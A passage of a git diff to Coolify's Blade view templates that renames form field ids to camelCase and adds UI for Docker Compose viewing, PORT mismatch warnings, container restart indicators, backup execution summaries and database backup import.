-                                            <x-forms.input placeholder="/dist" id="publish_directory"
-                                                label="Publish Directory" required x-bind:disabled="!canUpdate" />
+                                            <x-forms.input placeholder="/dist" id="publishDirectory" label="Publish Directory" required
+                                                x-bind:disabled="!canUpdate" />
                                         @else
-                                            <x-forms.input placeholder="/" id="publish_directory"
-                                                label="Publish Directory" x-bind:disabled="!canUpdate" />
+                                            <x-forms.input placeholder="/" id="publishDirectory" label="Publish Directory"
+                                                x-bind:disabled="!canUpdate" />
                                         @endif
                                     @endif
 
@@ -313,178 +321,221 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                                     <div class="pb-4">
                                         <x-forms.textarea
                                             helper="Order-based pattern matching to filter Git webhook deployments. Supports wildcards (*, **, ?) and negation (!). Last matching pattern wins."
-                                            placeholder="src/pages/**" id="watch_paths"
-                                            label="Watch Paths" x-bind:disabled="!canUpdate" />
+                                            placeholder="src/pages/**" id="watchPaths" label="Watch Paths"
+                                            x-bind:disabled="!canUpdate" />
                                     </div>
                                 @endif
                                 <x-forms.input
                                     helper="You can add custom docker run options that will be used when your container is started.<br>Note: Not all options are supported, as they could mess up Coolify's automation and could cause bad experience for users.<br><br>Check the <a class='underline dark:text-white' href='https://coolify.io/docs/knowledge-base/docker/custom-commands'>docs.</a>"
                                     placeholder="--cap-add SYS_ADMIN --device=/dev/fuse --security-opt apparmor:unconfined --ulimit nofile=1024:1024 --tmpfs /run:rw,noexec,nosuid,size=65536k --hostname=myapp"
-                                    id="custom_docker_run_options" label="Custom Docker Options"
-                                    x-bind:disabled="!canUpdate" />
+                                    id="customDockerRunOptions" label="Custom Docker Options" x-bind:disabled="!canUpdate" />
 
                                 @if ($application->build_pack !== 'dockercompose')
                                     <div class="pt-2 w-96">
                                         <x-forms.checkbox
                                             helper="Use a build server to build your application. You can configure your build server in the Server settings. For more info, check the <a href='https://coolify.io/docs/knowledge-base/server/build-server' class='underline' target='_blank'>documentation</a>."
-                                            instantSave id="is_build_server_enabled"
-                                            label="Use a Build Server?" x-bind:disabled="!canUpdate" />
+                                            instantSave id="isBuildServerEnabled" label="Use a Build Server?"
+                                            x-bind:disabled="!canUpdate" />
                                     </div>
                                 @endif
-                        @endif
-                    </div>
+                            @endif
+                        </div>
                 @endif
-            </div>
-            @if ($application->build_pack === 'dockercompose')
-                <div class="flex items-center gap-2 pb-4">
-                    <h3>Docker Compose</h3>
-                    @can('update', $application)
-                        <x-forms.button wire:target='initLoadingCompose'
-                            x-on:click="$wire.dispatch('loadCompose', false)">Reload Compose File</x-forms.button>
-                    @endcan
                 </div>
-                @if ($application->settings->is_raw_compose_deployment_enabled)
-                    <x-forms.textarea rows="10" readonly id="docker_compose_raw"
-                        label="Docker Compose Content (applicationId: {{ $application->id }})"
-                        helper="You need to modify the docker compose file in the git repository."
-                        monacoEditorLanguage="yaml" useMonacoEditor />
-                @else
-                    @if ((int) $application->compose_parsing_version >= 3)
-                        <x-forms.textarea rows="10" readonly id="docker_compose_raw"
-                            label="Docker Compose Content (raw)"
+                @if ($application->build_pack === 'dockercompose')
+                    <div x-data="{ showRaw: true }">
+                        <div class="flex items-center gap-2">
+                            <h3>Docker Compose</h3>
+                            <x-forms.button x-show="!($application->settings->is_raw_compose_deployment_enabled)" @click.prevent="showRaw = !showRaw" x-text="showRaw ? 'Show Deployable Compose' : 'Show Raw Compose'"></x-forms.button>
+                        </div>
+                    @if ($application->settings->is_raw_compose_deployment_enabled)
+                        <x-forms.textarea rows="10" readonly id="dockerComposeRaw"
+                            label="Docker Compose Content (applicationId: {{ $application->id }})"
                             helper="You need to modify the docker compose file in the git repository."
                             monacoEditorLanguage="yaml" useMonacoEditor />
-                    @endif
-                    <x-forms.textarea rows="10" readonly id="docker_compose"
-                        label="Docker Compose Content"
-                        helper="You need to modify the docker compose file in the git repository."
-                        monacoEditorLanguage="yaml" useMonacoEditor />
-                @endif
-                <div class="w-96">
-                    <x-forms.checkbox label="Escape special characters in labels?"
-                        helper="By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$.<br><br>If you want to use env variables inside the labels, turn this off."
-                        id="is_container_label_escape_enabled" instantSave
-                        x-bind:disabled="!canUpdate"></x-forms.checkbox>
-                    {{-- <x-forms.checkbox label="Readonly labels"
-                        helper="Labels are readonly by default. Readonly means that edits you do to the labels could be lost and Coolify will autogenerate the labels for you. If you want to edit the labels directly, disable this option. <br><br>Be careful, it could break the proxy configuration after you restart the container as Coolify will now NOT autogenerate the labels for you (ofc you can always reset the labels to the coolify defaults manually)."
-                        id="is_container_label_readonly_enabled" instantSave></x-forms.checkbox> --}}
-                </div>
-            @endif
-            @if ($application->dockerfile)
-                <x-forms.textarea label="Dockerfile" id="dockerfile" monacoEditorLanguage="dockerfile"
-                    useMonacoEditor rows="6" x-bind:disabled="!canUpdate"> </x-forms.textarea>
-            @endif
-            @if ($application->build_pack !== 'dockercompose')
-                <h3 class="pt-8">Network</h3>
-                <div class="flex flex-col gap-2 xl:flex-row">
-                    @if ($application->settings->is_static || $application->build_pack === 'static')
-                        <x-forms.input id="ports_exposes" label="Ports Exposes" readonly
-                            x-bind:disabled="!canUpdate" />
                     @else
-                        @if ($application->settings->is_container_label_readonly_enabled === false)
-                            <x-forms.input placeholder="3000,3001" id="ports_exposes"
-                                label="Ports Exposes" readonly
-                                helper="Readonly labels are disabled. You can set the ports manually in the labels section."
-                                x-bind:disabled="!canUpdate" />
-                        @else
-                            <x-forms.input placeholder="3000,3001" id="ports_exposes"
-                                label="Ports Exposes" required
-                                helper="A comma separated list of ports your application uses. The first port will be used as default healthcheck port if nothing defined in the Healthcheck menu. Be sure to set this correctly."
-                                x-bind:disabled="!canUpdate" />
+                        @if ((int) $application->compose_parsing_version >= 3)
+                            <div x-show="showRaw">
+                                <x-forms.textarea rows="10" readonly id="dockerComposeRaw" label="Docker Compose Content (raw)"
+                                    helper="You need to modify the docker compose file in the git repository."
+                                    monacoEditorLanguage="yaml" useMonacoEditor />
+                            </div>
                         @endif
-                    @endif
-                    @if (!$application->destination->server->isSwarm())
-                        <x-forms.input placeholder="3000:3000" id="ports_mappings" label="Ports Mappings"
-                            helper="A comma separated list of ports you would like to map to the host system. Useful when you do not want to use domains.<br><br><span class='inline-block font-bold dark:text-warning'>Example:</span><br>3000:3000,3002:3002<br><br>Rolling update is not supported if you have a port mapped to the host."
-                            x-bind:disabled="!canUpdate" />
-                    @endif
-                    @if (!$application->destination->server->isSwarm())
-                        <x-forms.input id="custom_network_aliases" label="Network Aliases"
-                            helper="A comma separated list of custom network aliases you would like to add for container in Docker network.<br><br><span class='inline-block font-bold dark:text-warning'>Example:</span><br>api.internal,api.local"
-                            wire:model="custom_network_aliases" x-bind:disabled="!canUpdate" />
-                    @endif
-                </div>
-
-                <h3 class="pt-8">HTTP Basic Authentication</h3>
-                <div>
-                    <div class="w-96">
-                        <x-forms.checkbox helper="This will add the proper proxy labels to the container." instantSave
-                            label="Enable" id="is_http_basic_auth_enabled"
-                            x-bind:disabled="!canUpdate" />
-                    </div>
-                    @if ($application->is_http_basic_auth_enabled)
-                        <div class="flex gap-2 py-2">
-                            <x-forms.input id="http_basic_auth_username" label="Username" required
-                                x-bind:disabled="!canUpdate" />
-                            <x-forms.input id="http_basic_auth_password" type="password" label="Password"
-                                required x-bind:disabled="!canUpdate" />
+                        <div x-show="showRaw === false">
+                            <x-forms.textarea rows="10" readonly id="dockerCompose" label="Docker Compose Content"
+                                helper="You need to modify the docker compose file in the git repository."
+                                monacoEditorLanguage="yaml" useMonacoEditor />
                         </div>
                     @endif
-                </div>
-
-                @if ($application->settings->is_container_label_readonly_enabled)
-                    <x-forms.textarea readonly disabled label="Container Labels" rows="15" id="customLabels"
-                        monacoEditorLanguage="ini" useMonacoEditor x-bind:disabled="!canUpdate"></x-forms.textarea>
-                @else
-                    <x-forms.textarea label="Container Labels" rows="15" id="customLabels"
-                        monacoEditorLanguage="ini" useMonacoEditor x-bind:disabled="!canUpdate"></x-forms.textarea>
+                    <div class="w-96">
+                        <x-forms.checkbox label="Escape special characters in labels?"
+                            helper="By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$.<br><br>If you want to use env variables inside the labels, turn this off."
+                            id="isContainerLabelEscapeEnabled" instantSave x-bind:disabled="!canUpdate"></x-forms.checkbox>
+                        {{-- <x-forms.checkbox label="Readonly labels"
+                            helper="Labels are readonly by default. Readonly means that edits you do to the labels could be lost and Coolify will autogenerate the labels for you. If you want to edit the labels directly, disable this option. <br><br>Be careful, it could break the proxy configuration after you restart the container as Coolify will now NOT autogenerate the labels for you (ofc you can always reset the labels to the coolify defaults manually)."
+                            id="isContainerLabelReadonlyEnabled" instantSave></x-forms.checkbox> --}}
+                    </div>
+                    </div>
                 @endif
-                <div class="w-96">
-                    <x-forms.checkbox label="Readonly labels"
-                        helper="Labels are readonly by default. Readonly means that edits you do to the labels could be lost and Coolify will autogenerate the labels for you. If you want to edit the labels directly, disable this option. <br><br>Be careful, it could break the proxy configuration after you restart the container as Coolify will now NOT autogenerate the labels for you (ofc you can always reset the labels to the coolify defaults manually)."
-                        id="is_container_label_readonly_enabled" instantSave
-                        x-bind:disabled="!canUpdate"></x-forms.checkbox>
-                    <x-forms.checkbox label="Escape special characters in labels?"
-                        helper="By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$.<br><br>If you want to use env variables inside the labels, turn this off."
-                        id="is_container_label_escape_enabled" instantSave
-                        x-bind:disabled="!canUpdate"></x-forms.checkbox>
-                </div>
-                @can('update', $application)
-                    <x-modal-confirmation title="Confirm Labels Reset to Coolify Defaults?"
-                        buttonTitle="Reset Labels to Defaults" buttonFullWidth submitAction="resetDefaultLabels(true)"
-                        :actions="[
+                @if ($application->dockerfile)
+                    <x-forms.textarea label="Dockerfile" id="dockerfile" monacoEditorLanguage="dockerfile" useMonacoEditor
+                        rows="6" x-bind:disabled="!canUpdate"> </x-forms.textarea>
+                @endif
+                @if ($application->build_pack !== 'dockercompose')
+                    <h3 class="pt-8">Network</h3>
+                    @if ($this->detectedPortInfo)
+                        @if ($this->detectedPortInfo['isEmpty'])
+                            <div
+                                class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-yellow-50 dark:bg-yellow-900/20 text-yellow-800 dark:text-yellow-300 border border-yellow-200 dark:border-yellow-800">
+                                <svg class="w-5 h-5 shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
+                                    <path fill-rule="evenodd"
+                                        d="M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495zM10 5a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 0110 5zm0 9a1 1 0 100-2 1 1 0 000 2z"
+                                        clip-rule="evenodd" />
+                                </svg>
+                                <div>
+                                    <span class="font-semibold">PORT environment variable detected
+                                        ({{ $this->detectedPortInfo['port'] }})</span>
+                                    <p class="mt-1">Your Ports Exposes field is empty. Consider setting it to
+                                        <strong>{{ $this->detectedPortInfo['port'] }}</strong> to ensure the proxy routes traffic
+                                        correctly.</p>
+                                </div>
+                            </div>
+                        @elseif (!$this->detectedPortInfo['matches'])
+                            <div
+                                class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-yellow-50 dark:bg-yellow-900/20 text-yellow-800 dark:text-yellow-300 border border-yellow-200 dark:border-yellow-800">
+                                <svg class="w-5 h-5 shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
+                                    <path fill-rule="evenodd"
+                                        d="M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495zM10 5a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 0110 5zm0 9a1 1 0 100-2 1 1 0 000 2z"
+                                        clip-rule="evenodd" />
+                                </svg>
+                                <div>
+                                    <span class="font-semibold">PORT mismatch detected</span>
+                                    <p class="mt-1">Your PORT environment variable is set to
+                                        <strong>{{ $this->detectedPortInfo['port'] }}</strong>, but it's not in your Ports Exposes
+                                        configuration. Ensure they match for proper proxy routing.</p>
+                                </div>
+                            </div>
+                        @else
+                            <div
+                                class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blue-900/20 text-blue-800 dark:text-blue-300 border border-blue-200 dark:border-blue-800">
+                                <svg class="w-5 h-5 shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
+                                    <path fill-rule="evenodd"
+                                        d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a.75.75 0 000 1.5h.253a.25.25 0 01.244.304l-.459 2.066A1.75 1.75 0 0010.747 15H11a.75.75 0 000-1.5h-.253a.25.25 0 01-.244-.304l.459-2.066A1.75 1.75 0 009.253 9H9z"
+                                        clip-rule="evenodd" />
+                                </svg>
+                                <div>
+                                    <span class="font-semibold">PORT environment variable configured</span>
+                                    <p class="mt-1">Your PORT environment variable ({{ $this->detectedPortInfo['port'] }}) matches
+                                        your Ports Exposes configuration.</p>
+                                </div>
+                            </div>
+                        @endif
+                    @endif
+                    <div class="flex flex-col gap-2 xl:flex-row">
+                        @if ($application->settings->is_static || $application->build_pack === 'static')
+                            <x-forms.input id="portsExposes" label="Ports Exposes" readonly x-bind:disabled="!canUpdate" />
+                        @else
+                            @if ($application->settings->is_container_label_readonly_enabled === false)
+                                <x-forms.input placeholder="3000,3001" id="portsExposes" label="Ports Exposes" readonly
+                                    helper="Readonly labels are disabled. You can set the ports manually in the labels section."
+                                    x-bind:disabled="!canUpdate" />
+                            @else
+                                <x-forms.input placeholder="3000,3001" id="portsExposes" label="Ports Exposes" required
+                                    helper="A comma separated list of ports your application uses. The first port will be used as default healthcheck port if nothing defined in the Healthcheck menu. Be sure to set this correctly."
+                                    x-bind:disabled="!canUpdate" />
+                            @endif
+                        @endif
+                        @if (!$application->destination->server->isSwarm())
+                            <x-forms.input placeholder="3000:3000" id="portsMappings" label="Ports Mappings"
+                                helper="A comma separated list of ports you would like to map to the host system. Useful when you do not want to use domains.<br><br><span class='inline-block font-bold dark:text-warning'>Example:</span><br>3000:3000,3002:3002<br><br>Rolling update is not supported if you have a port mapped to the host."
+                                x-bind:disabled="!canUpdate" />
+                        @endif
+                        @if (!$application->destination->server->isSwarm())
+                            <x-forms.input id="customNetworkAliases" label="Network Aliases"
+                                helper="A comma separated list of custom network aliases you would like to add for container in Docker network.<br><br><span class='inline-block font-bold dark:text-warning'>Example:</span><br>api.internal,api.local"
+                                wire:model="customNetworkAliases" x-bind:disabled="!canUpdate" />
+                        @endif
+                    </div>
+
+                    <h3 class="pt-8">HTTP Basic Authentication</h3>
+                    <div>
+                        <div class="w-96">
+                            <x-forms.checkbox helper="This will add the proper proxy labels to the container." instantSave
+                                label="Enable" id="isHttpBasicAuthEnabled" x-bind:disabled="!canUpdate" />
+                        </div>
+                        @if ($application->is_http_basic_auth_enabled)
+                            <div class="flex gap-2 py-2">
+                                <x-forms.input id="httpBasicAuthUsername" label="Username" required
+                                    x-bind:disabled="!canUpdate" />
+                                <x-forms.input id="httpBasicAuthPassword" type="password" label="Password" required
+                                    x-bind:disabled="!canUpdate" />
+                            </div>
+                        @endif
+                    </div>
+
+                    @if ($application->settings->is_container_label_readonly_enabled)
+                        <x-forms.textarea readonly disabled label="Container Labels" rows="15" id="customLabels"
+                            monacoEditorLanguage="ini" useMonacoEditor x-bind:disabled="!canUpdate"></x-forms.textarea>
+                    @else
+                        <x-forms.textarea label="Container Labels" rows="15" id="customLabels" monacoEditorLanguage="ini"
+                            useMonacoEditor x-bind:disabled="!canUpdate"></x-forms.textarea>
+                    @endif
+                    <div class="w-96">
+                        <x-forms.checkbox label="Readonly labels"
+                            helper="Labels are readonly by default. Readonly means that edits you do to the labels could be lost and Coolify will autogenerate the labels for you. If you want to edit the labels directly, disable this option. <br><br>Be careful, it could break the proxy configuration after you restart the container as Coolify will now NOT autogenerate the labels for you (ofc you can always reset the labels to the coolify defaults manually)."
+                            id="isContainerLabelReadonlyEnabled" instantSave
+                            x-bind:disabled="!canUpdate"></x-forms.checkbox>
+                        <x-forms.checkbox label="Escape special characters in labels?"
+                            helper="By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$.<br><br>If you want to use env variables inside the labels, turn this off."
+                            id="isContainerLabelEscapeEnabled" instantSave x-bind:disabled="!canUpdate"></x-forms.checkbox>
+                    </div>
+                    @can('update', $application)
+                            <x-modal-confirmation title="Confirm Labels Reset to Coolify Defaults?"
+                                buttonTitle="Reset Labels to Defaults" buttonFullWidth submitAction="resetDefaultLabels(true)"
+                                :actions="[
                             'All your custom proxy labels will be lost.',
                             'Proxy labels (traefik, caddy, etc) will be reset to the coolify defaults.',
                         ]" confirmationText="{{ $application->fqdn . '/' }}"
-                        confirmationLabel="Please confirm the execution of the actions by entering the Application URL below"
-                        shortConfirmationLabel="Application URL" :confirmWithPassword="false"
-                        step2ButtonText="Permanently Reset Labels" />
-                @endcan
-            @endif
+                                confirmationLabel="Please confirm the execution of the actions by entering the Application URL below"
+                                shortConfirmationLabel="Application URL" :confirmWithPassword="false"
+                                step2ButtonText="Permanently Reset Labels" />
+                    @endcan
+                @endif
 
-            <h3 class="pt-8">Pre/Post Deployment Commands</h3>
-            <div class="flex flex-col gap-2 xl:flex-row">
-                <x-forms.input x-bind:disabled="shouldDisable()" placeholder="php artisan migrate"
-                    id="pre_deployment_command" label="Pre-deployment "
-                    helper="An optional script or command to execute in the existing container before the deployment begins.<br>It is always executed with 'sh -c', so you do not need add it manually." />
-                @if ($application->build_pack === 'dockercompose')
-                    <x-forms.input x-bind:disabled="shouldDisable()" id="pre_deployment_command_container"
-                        label="Container Name"
-                        helper="The name of the container to execute within. You can leave it blank if your application only has one container." />
-                @endif
+                <h3 class="pt-8">Pre/Post Deployment Commands</h3>
+                <div class="flex flex-col gap-2 xl:flex-row">
+                    <x-forms.input x-bind:disabled="shouldDisable()" placeholder="php artisan migrate"
+                        id="preDeploymentCommand" label="Pre-deployment "
+                        helper="An optional script or command to execute in the existing container before the deployment begins.<br>It is always executed with 'sh -c', so you do not need add it manually." />
+                    @if ($application->build_pack === 'dockercompose')
+                        <x-forms.input x-bind:disabled="shouldDisable()" id="preDeploymentCommandContainer"
+                            label="Container Name"
+                            helper="The name of the container to execute within. You can leave it blank if your application only has one container." />
+                    @endif
+                </div>
+                <div class="flex flex-col gap-2 xl:flex-row">
+                    <x-forms.input x-bind:disabled="shouldDisable()" placeholder="php artisan migrate"
+                        id="postDeploymentCommand" label="Post-deployment "
+                        helper="An optional script or command to execute in the newly built container after the deployment completes.<br>It is always executed with 'sh -c', so you do not need add it manually." />
+                    @if ($application->build_pack === 'dockercompose')
+                        <x-forms.input x-bind:disabled="shouldDisable()" id="postDeploymentCommandContainer"
+                            label="Container Name"
+                            helper="The name of the container to execute within. You can leave it blank if your application only has one container." />
+                    @endif
+                </div>
             </div>
-            <div class="flex flex-col gap-2 xl:flex-row">
-                <x-forms.input x-bind:disabled="shouldDisable()" placeholder="php artisan migrate"
-                    id="post_deployment_command" label="Post-deployment "
-                    helper="An optional script or command to execute in the newly built container after the deployment completes.<br>It is always executed with 'sh -c', so you do not need add it manually." />
-                @if ($application->build_pack === 'dockercompose')
-                    <x-forms.input x-bind:disabled="shouldDisable()"
-                        id="post_deployment_command_container" label="Container Name"
-                        helper="The name of the container to execute within. You can leave it blank if your application only has one container." />
-                @endif
-            </div>
-        </div>
     </form>
 
-    <x-domain-conflict-modal :conflicts="$domainConflicts" :showModal="$showDomainConflictModal" confirmAction="confirmDomainUsage" />
+    <x-domain-conflict-modal :conflicts="$domainConflicts" :showModal="$showDomainConflictModal"
+        confirmAction="confirmDomainUsage" />
 
     @script
-        <script>
-            $wire.$on('loadCompose', (isInit = true) => {
-                // Only load compose file if user has permission (this event should only be dispatched when authorized)
-                $wire.initLoadingCompose = true;
-                $wire.loadComposeFile(isInit);
-            });
-        </script>
+    <script>
+        $wire.$on('loadCompose', (isInit = true) => {
+            // Only load compose file if user has permission (this event should only be dispatched when authorized)
+            $wire.initLoadingCompose = true;
+            $wire.loadComposeFile(isInit);
+        });
+    </script>
     @endscript
-</div>
+</div>
\ No newline at end of file
diff --git a/resources/views/livewire/project/application/heading.blade.php b/resources/views/livewire/project/application/heading.blade.php
index 1a8812929..d739a81b1 100644
--- a/resources/views/livewire/project/application/heading.blade.php
+++ b/resources/views/livewire/project/application/heading.blade.php
@@ -12,7 +12,14 @@
             </a>
             <a class="{{ request()->routeIs('project.application.logs') ? 'dark:text-white' : '' }}"
                 href="{{ route('project.application.logs', $parameters) }}">
-                Logs
+                <div class="flex items-center gap-1">
+                    Logs
+                    @if ($application->restart_count > 0 && !str($application->status)->startsWith('exited'))
+                        <svg class="w-4 h-4 dark:text-warning" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" title="Container has restarted {{ $application->restart_count }} time{{ $application->restart_count > 1 ? 's' : '' }}">
+                            <path d="M12 2L1 21h22L12 2zm0 4l7.53 13H4.47L12 6zm-1 5v4h2v-4h-2zm0 5v2h2v-2h-2z"/>
+                        </svg>
+                    @endif
+                </div>
             </a>
             @if (!$application->destination->server->isSwarm())
                 @can('canAccessTerminal')
diff --git a/resources/views/livewire/project/database/backup-executions.blade.php b/resources/views/livewire/project/database/backup-executions.blade.php
index 30eef5976..c56908f50 100644
--- a/resources/views/livewire/project/database/backup-executions.blade.php
+++ b/resources/views/livewire/project/database/backup-executions.blade.php
@@ -68,22 +68,21 @@ class="flex flex-col gap-4">
                         </span>
                     </div>
                     <div class="text-gray-600 dark:text-gray-400 text-sm">
-                        Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}
-                        @if (data_get($execution, 'status') !== 'running')
-                            <br>Ended:
-                            {{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}
-                            <br>Duration:
-                            {{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }}
-                            <br>Finished {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
+                        @if (data_get($execution, 'status') === 'running')
+                            <span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}">
+                                Running for {{ calculateDuration(data_get($execution, 'created_at'), now()) }}
+                            </span>
+                        @else
+                            <span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}">
+                                {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
+                                ({{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }})
+                                • {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->format('M j, H:i') }}
+                            </span>
+                        @endif
+                        • Database: {{ data_get($execution, 'database_name', 'N/A') }}
+                        @if(data_get($execution, 'size'))
+                            • Size: {{ formatBytes(data_get($execution, 'size')) }}
                         @endif
-                    </div>
-                    <div class="text-gray-600 dark:text-gray-400 text-sm">
-                        Database: {{ data_get($execution, 'database_name', 'N/A') }}
-                    </div>
-                    <div class="text-gray-600 dark:text-gray-400 text-sm">
-                        Size: {{ data_get($execution, 'size') }} B /
-                        {{ round((int) data_get($execution, 'size') / 1024, 2) }} kB /
-                        {{ round((int) data_get($execution, 'size') / 1024 / 1024, 3) }} MB
                     </div>
                     <div class="text-gray-600 dark:text-gray-400 text-sm">
                         Location: {{ data_get($execution, 'filename', 'N/A') }}
diff --git a/resources/views/livewire/project/database/import.blade.php b/resources/views/livewire/project/database/import.blade.php
index c6501e031..17efa724f 100644
--- a/resources/views/livewire/project/database/import.blade.php
+++ b/resources/views/livewire/project/database/import.blade.php
@@ -1,54 +1,65 @@
-<div x-data="{ error: $wire.entangle('error'), filesize: $wire.entangle('filesize'), filename: $wire.entangle('filename'), isUploading: $wire.entangle('isUploading'), progress: $wire.entangle('progress') }">
+<div x-data="{
+    error: $wire.entangle('error'),
+    filesize: $wire.entangle('filesize'),
+    filename: $wire.entangle('filename'),
+    isUploading: $wire.entangle('isUploading'),
+    progress: $wire.entangle('progress'),
+    s3FileSize: $wire.entangle('s3FileSize'),
+    s3StorageId: $wire.entangle('s3StorageId'),
+    s3Path: $wire.entangle('s3Path'),
+    restoreType: null
+}">
     <script type="text/javascript" src="{{ URL::asset('js/dropzone.js') }}"></script>
     @script
-        <script data-navigate-once>
-            Dropzone.options.myDropzone = {
-                chunking: true,
-                method: "POST",
-                maxFilesize: 1000000000,
-                chunkSize: 10000000,
-                createImageThumbnails: false,
-                disablePreviews: true,
-                parallelChunkUploads: false,
-                init: function() {
-                    let button = this.element.querySelector('button');
-                    button.innerText = 'Select or drop a backup file here.'
-                    this.on('sending', function(file, xhr, formData) {
-                        const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
-                        formData.append("_token", token);
-                    });
-                    this.on("addedfile", file => {
-                        $wire.isUploading = true;
-                    });
-                    this.on('uploadprogress', function(file, progress, bytesSent) {
-                        $wire.progress = progress;
-                    });
-                    this.on('complete', function(file) {
-                        $wire.filename = file.name;
-                        $wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
-                        $wire.isUploading = false;
-                    });
-                    this.on('error', function(file, message) {
-                        $wire.error = true;
-                        $wire.$dispatch('error', message.error)
-                    });
-                }
-            };
-        </script>
+    <script data-navigate-once>
+        Dropzone.options.myDropzone = {
+            chunking: true,
+            method: "POST",
+            maxFilesize: 1000000000,
+            chunkSize: 10000000,
+            createImageThumbnails: false,
+            disablePreviews: true,
+            parallelChunkUploads: false,
+            init: function () {
+                let button = this.element.querySelector('button');
+                button.innerText = 'Select or drop a backup file here.'
+                this.on('sending', function (file, xhr, formData) {
+                    const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
+                    formData.append("_token", token);
+                });
+                this.on("addedfile", file => {
+                    $wire.isUploading = true;
+                    $wire.customLocation = '';
+                });
+                this.on('uploadprogress', function (file, progress, bytesSent) {
+                    $wire.progress = progress;
+                });
+                this.on('complete', function (file) {
+                    $wire.filename = file.name;
+                    $wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
+                    $wire.isUploading = false;
+                });
+                this.on('error', function (file, message) {
+                    $wire.error = true;
+                    $wire.$dispatch('error', message.error)
+                });
+            }
+        };
+    </script>
     @endscript
     <h2>Import Backup</h2>
     @if ($unsupported)
         <div>Database restore is not supported.</div>
     @else
         <div class="pt-2 rounded-sm alert-error">
-            <svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none"
-                viewBox="0 0 24 24">
+            <svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none" viewBox="0 0 24 24">
                 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                     d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
             </svg>
             <span>This is a destructive action, existing data will be replaced!</span>
         </div>
         @if (str(data_get($resource, 'status'))->startsWith('running'))
+            {{-- Restore Command Configuration --}}
             @if ($resource->type() === 'standalone-postgresql')
                 @if ($dumpAll)
                     <x-forms.textarea rows="6" readonly label="Custom Import Command"
@@ -62,8 +73,7 @@
                     </div>
                 @endif
                 <div class="w-64 pt-2">
-                    <x-forms.checkbox label="Backup includes all databases"
-                        wire:model.live='dumpAll'></x-forms.checkbox>
+                    <x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
                 </div>
             @elseif ($resource->type() === 'standalone-mysql')
                 @if ($dumpAll)
@@ -73,8 +83,7 @@
                     <x-forms.input label="Custom Import Command" wire:model='mysqlRestoreCommand'></x-forms.input>
                 @endif
                 <div class="w-64 pt-2">
-                    <x-forms.checkbox label="Backup includes all databases"
-                        wire:model.live='dumpAll'></x-forms.checkbox>
+                    <x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
                 </div>
             @elseif ($resource->type() === 'standalone-mariadb')
                 @if ($dumpAll)
@@ -84,35 +93,143 @@
                     <x-forms.input label="Custom Import Command" wire:model='mariadbRestoreCommand'></x-forms.input>
                 @endif
                 <div class="w-64 pt-2">
-                    <x-forms.checkbox label="Backup includes all databases"
-                        wire:model.live='dumpAll'></x-forms.checkbox>
+                    <x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
                 </div>
             @endif
-            <h3 class="pt-6">Backup File</h3>
-            <form class="flex gap-2 items-end">
-                <x-forms.input label="Location of the backup file on the server"
-                    placeholder="e.g. /home/user/backup.sql.gz" wire:model='customLocation'></x-forms.input>
-                <x-forms.button class="w-full" wire:click='checkFile'>Check File</x-forms.button>
-            </form>
-            <div class="pt-2 text-center text-xl font-bold">
-                Or
-            </div>
-            <form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
-                @csrf
-            </form>
-            <div x-show="isUploading">
-                <progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
-            </div>
-            <h3 class="pt-6" x-show="filename && !error">File Information</h3>
-            <div x-show="filename && !error">
-                <div>Location: <span x-text="filename ?? 'N/A'"></span> <span x-text="filesize">/ </span></div>
-                <x-forms.button class="w-full my-4" wire:click='runImport'>Restore Backup</x-forms.button>
-            </div>
